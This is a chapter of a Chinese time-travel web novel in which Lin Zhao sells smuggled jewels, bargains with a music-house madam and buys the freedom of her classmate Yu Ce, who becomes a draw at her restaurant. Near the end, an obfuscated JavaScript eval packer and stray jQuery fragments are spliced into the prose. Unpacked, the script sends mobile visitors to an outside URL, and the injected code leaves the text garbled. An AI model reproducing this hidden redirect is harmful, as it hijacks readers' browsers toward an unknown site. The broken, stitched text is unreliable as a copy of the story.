乔鸢:“就是,别让那个宋妈妈全都独吞了。”
林昭想了想,也行。
就是每次去要花二十两,怎么想都觉得肉疼。
林昭第二天就去了当铺。
这颗夜明珠质地不错,但当铺只给了两百六十两。
林昭磨破嘴皮子,对方也不肯松口再多给点。
她只好拿着这两百多两离开。
反正她也不亏,这些钱够她去找十几次于策了。
当晚,林昭又去了一趟丝竹馆。
本来乔鸢也要跟着来,但是被段承泽拦下了,说什么都不准她去。
林昭一个人去看望于策,还给他带了一份小龙虾。
于策闻到熟悉的味道,感动得差点流泪。
“班长,我想家了,你早点带我出去吧。”
他嘟囔着,将盒子里的翡翠和珍珠往林昭身上塞。
林昭去的次数多了,宋妈妈看她的眼神一次比一次殷勤。
但是她每次只停留一炷香的时间,也不包夜,弄得宋妈妈开始嘀咕了。
这天晚上,林昭端着食盒出来准备离开。
宋妈妈叫住她:“姑娘请留步。”
“何事?”
“姑娘每次来找明柳只是聊聊天,不做点旁的?”
宋妈妈本以为明柳愿意开始接客,这是一个好兆头,没想到两人这么多次了,什么也不做。
这样下去,她可赚不到什么钱。
“我喜欢他的声音,知道他身子不适,就想着给他送点吃的,其他的,我没有想法。”林昭故意装作一副害羞的模样。
她这副身子才十六岁,正是豆蔻年华,青涩得很。
宋妈妈打量着她,嘴角是笑的,眼睛却跟狐狸似的精明。
“姑娘还真是单纯可人呢,难怪明柳喜欢见你。”
“没事的话,我先走了。”
“慢着,因为姑娘每次都是一炷香,我便没有搜身,其实来这的客人,来来去去都要查一下的。”
“宋妈妈是怕我偷东西?”
“姑娘别说得这么难听,我这儿的人太多,为了管好他们费了很大的劲儿,所以不能让他跟外界暗通款曲,还望姑娘理解。”
宋妈妈说得好听,其实就是担心这些乐师会偷偷把值钱的东西送出去。
按照店里的规矩,乐师所有收到的物品都要上交给老板。
有些喜欢明柳的千金疼爱他,便偷偷给他塞点佩环和翡翠,让他自己保管,别便宜了别人。
于策穿越过来的时候,那盒子已经满得快盖不上了,可见原主之前有多么讨喜。
林昭暗暗捏紧手里的食盒。
“来人,搜身。”
宋妈妈笑眯眯说着,身后一个老嬷嬷模样的人上前。
这嬷嬷躬身行礼:“姑娘,得罪了。”
林昭手里的食盒被她拿走,然后嬷嬷摸了摸她腰间和袖子上的口袋,就连腿上也被搜了一遍。
嬷嬷一无所获,目光疑惑着落在一旁的食盒上。
她和宋妈妈对视一眼,得到对方点头,这才打开食盒查看。
里面除了吃剩的碗碟,似乎没什么多余东西。
嬷嬷回到宋妈妈身边:“宋老板,她身上没有旁的东西。”
宋妈妈放下心来。
林昭静静盯着她们:“搜完了?我可以走了?”
“欢迎姑娘下次再来~”
看着那离去的背影,宋妈妈总感觉有哪里不太对劲,但是她又说不上来。
走出丝竹馆,林昭仍然觉得自己被人盯着。
一直回到铺子里,关上门。
林昭这才松了一口气。
她脱下鞋子,拿出鞋垫下面的和田玉玉佩。
这是于策交给她的最后一个东西,还好她藏得严实。
就这么一来一去很多次,林昭把于策盒子里的东西卖得七七八八,最后落得八百多两。
这些银子很重,还是段二和钱默过来帮忙抬走的。
段二抬了一路气喘吁吁,忍不住吐槽:“知道这家伙值钱,没想到这么值钱,还不如让他继续待着呢,省得出来霍霍别人。”
他口中的别人就是乔鸢。
乔鸢就喜欢看好看的人,若是见了于策,肯定挪不开眼。
林昭点了点银子,加上那颗夜明珠的钱,林林总总大概卖了一千两。
那些喜欢于策的姑娘还真是愿意下血本啊。
林昭故意等了几天没去丝竹馆,再次去的时候,宋妈妈十分热情。
宋妈妈还以为上次搜身的事情把这位铺子老板惹生气了,所以好声好气哄着,说要送她一炷香的时间。
可这次,林昭要的不是一炷香。
“宋妈妈,我要买下明柳,你开个价吧。”
“这......”
宋妈妈迟疑地看了一眼林昭身后的小厮,那小厮怀里抱着一个盒子,估计是有备而来。
反正明柳的身子还没好,宋妈妈巴不得把这个赔钱货早点卖掉。
“姑娘来了这么多次,终于想通了?好说好说,只要您出五百两,明柳的卖身契我现在就能给您。”
什么?
五百两?
真是狮子大开口,这老板娘也不怕撑死啊?
林昭故作淡定地看着她,冷笑一声:“宋妈妈,我虽然识字不多,但也学过一些医术,明柳这个病秧子有隐疾,治不好了,我愿意买他也是看上他的皮囊罢了。”
“五百两?我去别的会馆买两个能干的漂亮乐师都绰绰有余了,若宋妈妈不是诚心做生意,那我就先走了。”
林昭作势要转身。
她这几个月开门做生意,可学会了不少砍价的姿态。
果然,宋妈妈神色匆匆拉住她。
“姑娘别急着走啊,价格好商量,要不这样,三百两,这样总行吧?”
林昭依然面无表情:“三百两确实是头牌的价格,但那是一个正常头牌,明柳这种情况继续留下来,之后能卖出多少价格,宋妈妈应该比我清楚吧?”
“......”
宋妈妈汗流浃背,本来她把明柳生病的事情瞒得好好的,怎么还碰上了一个懂医术的姑娘呢?
哪个姑娘会喜欢中看不中用的绣花枕头?而且明柳年纪已过了二十,再往后年老色衰,可就没人要了。
见对方不说话,林昭又加了一把火。
“明柳声音好听,我本来想买下他回去当个琴师,给我铺子增点光彩,既然宋妈妈不乐意,我去别家买也一样的。”
京城里多的是卖歌伎的,四大酒楼里面的好多戏子曾经也是从戏院名角被挖过去的。
只要有钱,去哪都能买到漂亮的人。
宋妈妈连忙开口:“姑娘想出多少钱?”
“二百五十两。”
今日不卖,明日头牌身子不举的事情传出去,日后再想卖高价都难了。
宋妈妈叹气,罢了,反正她在明柳身上捞得也够多得了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036540|191635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今儿卖了明柳,明日还会有青柳、桃柳,反正她想捧谁,谁就是头牌。
“成交,我可是看在姑娘来了这么多次的份上才给你这个价的,出了这个门,可别说明柳卖了这个价啊。”
宋妈妈笑着叮嘱,拿来明柳的卖身契,还有一份契书。
契书上居然还有保密协议,不准公布乐师的身价。
林昭可以理解,毕竟还有其他头牌等着叫价呢。
钱默看了一眼那契书,确认没什么坑,这才冲她眨了眨眼。
林昭在上面签字画押,收走了于策的卖身契。
她抬了抬手,钱默将手里的盒子放在桌上。
“宋妈妈,点点吧。”
“多谢姑娘慷慨解囊。”
宋妈妈笑得合不拢嘴,连忙让一旁的绿衣小厮上去叫人。
于策下来了,依旧是一副身娇体弱的苍白模样。
离开时,宋妈妈还拉着他假模假样地哭了一番,说十分舍不得他,好歹是亲眼看着他长大的。
呵,估计是舍不得自己养大的金蛋吧。
林昭接过这枚金蛋,美滋滋地把于策带回铺子。
一路上,好多姑娘侧头打量于策,看得他都不好意思了。
乔鸢正在柜台前记账,看到一个柔弱隽秀的美人走进来,顿时都忘记眨眼了。
“你、你是四眼鱼?”
“你是?”
于策还没反应过来,就被乔鸢扑过来又捏又看的。
乔鸢摸了摸他挺翘的鼻梁,多情的眉眼,全都是真的,而且他还没有化妆。
“四眼鱼,你怎么这么好命啊,穿到这么好看的皮囊身上,这在现代都可以原地出道的程度了。”
乔鸢发现对方目光呆滞,笑了笑:“你不认识我了?我是乔鸢啊,之前你还总找我抄作业呢。”
于策眼睛一亮,他们可是聚会上才见过,怎么可能忘记呢。
真是老乡见老乡,两眼泪汪汪。
“小乔,原来是你!”
他激动得红了眼,正准备抱一下,突然一个人把他推开。
于策盯着来人,深小麦色的皮肤,让他分不清对方是谁。而且对方还搂着乔鸢,一副敌对的模样看自己。
林昭:“这就是我们店的大厨段二,这个是乔鸢,目前是店里的说书先生,店里还有其他一些员工,等会带你去认识一下。”
“靠,原来是段二啊,你小子怎么变这么高了?皮肤这么黑,我还以为你是本地插秧的呢。”
“你才插秧的,少对我的人动手动脚。”
“你的人?”
于策盯着他俩,又跟钱默对视一眼,瞬间福至心灵。
好家伙,他还在鸭店喝中药的时候,有的人已经穿越过来谈上恋爱了?
真是人比人,气死人。
林昭带他熟悉了一下如意酒楼的环境,还有这段时间酒楼的遭遇。
于策听得津津有味。
就这么一小会功夫,店里进来不少女孩子,都是过来看于策的。
她们点了几道菜,吃得心不在焉,扇子后面的眼神时不时瞥向他。
虽然此时的于策已经换上了朴素的衣服,头上连最基础的玉冠都没有,一副平头布衣模样也阻挡不了这张脸的魅力。
林昭发现客流变多后,忍不住弯起嘴角。
果然头牌在哪都是头牌啊。
她还真是买了个金蛋回来,虽然花了二百五十两。
这个数字有点傻,但人不傻。